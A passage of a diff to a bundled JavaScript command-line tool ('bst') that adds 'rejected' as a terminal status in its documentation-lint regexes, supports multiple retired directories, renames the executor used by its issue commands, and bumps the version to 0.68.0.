- const TERMINAL_STATUS = /\b(completed|shipped|superseded|abandoned|cancelled|canceled)\b/i;
13329
+ /** Status keywords that mean "this work is over" — the doc belongs in retired/. */
13330
+ const TERMINAL_STATUS = /\b(completed|shipped|superseded|abandoned|cancelled|canceled|rejected)\b/i;
12264
13331
  /**
12265
13332
  * Qualifiers that mean the work is still open, and which WIN over a terminal
12266
13333
  * keyword in the same status. A partially-landed umbrella spec reads
@@ -12272,7 +13339,7 @@ const TERMINAL_STATUS = /\b(completed|shipped|superseded|abandoned|cancelled|can
12272
13339
  */
12273
13340
  const OPEN_STATUS = /\b(partial|partially|in[ -]progress|wip|draft|approved|proposed|blocked|planned|open)\b/i;
12274
13341
  /** A terminal status must carry the date it landed, so history stays legible. */
12275
- const TERMINAL_STATUS_DATED = /\b(completed|shipped|superseded|abandoned|cancelled|canceled)\b[^\n]*?\d{4}-\d{2}-\d{2}/i;
13342
+ const TERMINAL_STATUS_DATED = /\b(completed|shipped|superseded|abandoned|cancelled|canceled|rejected)\b[^\n]*?\d{4}-\d{2}-\d{2}/i;
12276
13343
  /**
12277
13344
  * The paragraph a retired doc owes its reader: where the truth lives now.
12278
13345
  * Deliberately loose at both ends — NOT anchored to line-start (docs run it
@@ -12281,7 +13348,7 @@ const TERMINAL_STATUS_DATED = /\b(completed|shipped|superseded|abandoned|cancell
12281
13348
  * only.**`). The rule is that a retired doc SAYS where the truth went; policing
12282
13349
  * its punctuation would only teach people to route around the check.
12283
13350
  */
12284
- const RETIRE_PARAGRAPH = /(?:\*\*)?\b(?:Shipped|Superseded|Abandoned)\b\s*(?:[:—–]|--?\s)/i;
13351
+ const RETIRE_PARAGRAPH = /(?:\*\*)?\b(?:Shipped|Superseded|Abandoned|Rejected)\b\s*(?:[:—–]|--?\s)/i;
12285
13352
  /** `Status:` must appear in the doc's header, not buried in a code sample. */
12286
13353
  const STATUS_LINE = /^\s*(?:>\s*)?(?:\*\*)?Status(?:\*\*)?:\s*(.+)$/im;
12287
13354
  const STATUS_SCAN_LINES = 30;
@@ -12313,8 +13380,8 @@ function checkStatus(input, status) {
12313
13380
  if (!terminal && isRetired) violations.push({
12314
13381
  file,
12315
13382
  rule: "R2 retired-but-not-done",
12316
- message: `Doc lives in \`completed/\` but its status ("${status}") doesn't say completed/shipped/superseded.`,
12317
- fix: "Set `Status: **completed YYYY-MM-DD**` (or superseded/abandoned) — or move it back to the active dir if it isn't actually done."
13383
+ message: `Doc lives in \`${retiredDir}/\` but its status ("${status}") doesn't say completed/shipped/superseded/rejected.`,
13384
+ fix: "Set `Status: **completed YYYY-MM-DD**` (or superseded/abandoned/rejected) — or move it back to the active dir if it isn't actually done."
12318
13385
  });
12319
13386
  if (isRetired && terminal && !TERMINAL_STATUS_DATED.test(status)) violations.push({
12320
13387
  file,
@@ -12325,7 +13392,7 @@ function checkStatus(input, status) {
12325
13392
  if (isRetired && terminal && !RETIRE_PARAGRAPH.test(body)) violations.push({
12326
13393
  file,
12327
13394
  rule: "R3 missing-retire-paragraph",
12328
- message: "Retired doc has no `Shipped:` / `Superseded:` / `Abandoned:` paragraph.",
13395
+ message: "Retired doc has no `Shipped:` / `Superseded:` / `Abandoned:` / `Rejected:` paragraph.",
12329
13396
  fix: "Add one after the Status line naming what landed and where the post-implementation truth now lives (CLAUDE.md, the source files, …)."
12330
13397
  });
12331
13398
  return violations;
@@ -12336,7 +13403,7 @@ function checkLinks(input) {
12336
13403
  file: input.file,
12337
13404
  rule: "R4 broken-link",
12338
13405
  message: `Relative link \`${link.raw}\` doesn't resolve (looked for ${link.target}).`,
12339
- fix: "Fix the path — a doc moved into `completed/` sits one level deeper, so each `../` needs one more `../`. If the link points at something the work deleted, it can never be re-pathed: de-link it (plain code span)."
13406
+ fix: "Fix the path — a doc moved into `retired/` sits one level deeper, so each `../` needs one more `../`. If the link points at something the work deleted, it can never be re-pathed: de-link it (plain code span)."
12340
13407
  }));
12341
13408
  }
12342
13409
  /**
@@ -12384,7 +13451,7 @@ function checkPair(exec, pair, config, opts) {
12384
13451
  const linkExists = (target) => exec.exists(target);
12385
13452
  const violations = [];
12386
13453
  const activeFiles = listDocs(exec, pair.active, pair.activePattern);
12387
- const retiredFiles = listDocs(exec, pair.retired);
13454
+ const retiredFiles = pair.retiredDirs.flatMap((dir) => listDocs(exec, dir));
12388
13455
  for (const [files, isRetired] of [[activeFiles, false], [retiredFiles, true]]) for (const file of files) {
12389
13456
  const body = exec.readFile(file);
12390
13457
  if (body === void 0) continue;
@@ -13211,7 +14278,7 @@ const issueViewCommand = defineCommand({
13211
14278
  }
13212
14279
  },
13213
14280
  async run({ args }) {
13214
- const view = await runIssueView(createRealExecutor(), {
14281
+ const view = await runIssueView(createRealExecutor$1(), {
13215
14282
  cwd: process.cwd(),
13216
14283
  ref: args.ref,
13217
14284
  verbose: args.verbose === true || isEnvVerbose()
@@ -13259,7 +14326,7 @@ const issueListCommand = defineCommand({
13259
14326
  }
13260
14327
  },
13261
14328
  async run({ args }) {
13262
- const issues = await runIssueList(createRealExecutor(), {
14329
+ const issues = await runIssueList(createRealExecutor$1(), {
13263
14330
  cwd: process.cwd(),
13264
14331
  state: args.state,
13265
14332
  label: args.label ?? void 0,
@@ -13311,7 +14378,7 @@ const issueCommentCommand = defineCommand({
13311
14378
  async run({ args }) {
13312
14379
  const body = readBodySource(args.body ?? void 0, args["body-file"] ?? void 0);
13313
14380
  if (body === void 0) throw new FatalError("One of --body or --body-file is required.");
13314
- const result = await runIssueComment(createRealExecutor(), {
14381
+ const result = await runIssueComment(createRealExecutor$1(), {
13315
14382
  cwd: process.cwd(),
13316
14383
  ref: args.ref,
13317
14384
  body,
@@ -13399,7 +14466,7 @@ const issueCreateCommand = defineCommand({
13399
14466
  async run({ args, rawArgs }) {
13400
14467
  const labels = collectLabelArgs(rawArgs);
13401
14468
  const body = readBodySource(args.body ?? void 0, args["body-file"] ?? void 0) ?? "";
13402
- const result = await runIssueCreate(createRealExecutor(), {
14469
+ const result = await runIssueCreate(createRealExecutor$1(), {
13403
14470
  cwd: process.cwd(),
13404
14471
  title: args.title,
13405
14472
  body,
@@ -13570,7 +14637,7 @@ const issueDownloadCommand = defineCommand({
13570
14637
  }
13571
14638
  },
13572
14639
  async run({ args }) {
13573
- const result = await runIssueDownload(createRealExecutor(), {
14640
+ const result = await runIssueDownload(createRealExecutor$1(), {
13574
14641
  cwd: process.cwd(),
13575
14642
  ref: args.ref,
13576
14643
  out: args.out,
@@ -13592,7 +14659,7 @@ const issueDownloadCommand = defineCommand({
13592
14659
  * `local <sha>[-dirty]` otherwise — so an artifact built from the working tree
13593
14660
  * can't pass itself off as the published release whose version it carries.
13594
14661
  */
13595
- const displayVersion = "0.66.0";
14662
+ const displayVersion = "0.68.0";
13596
14663
  const main = defineCommand({
13597
14664
  meta: {
13598
14665
  name: "bst",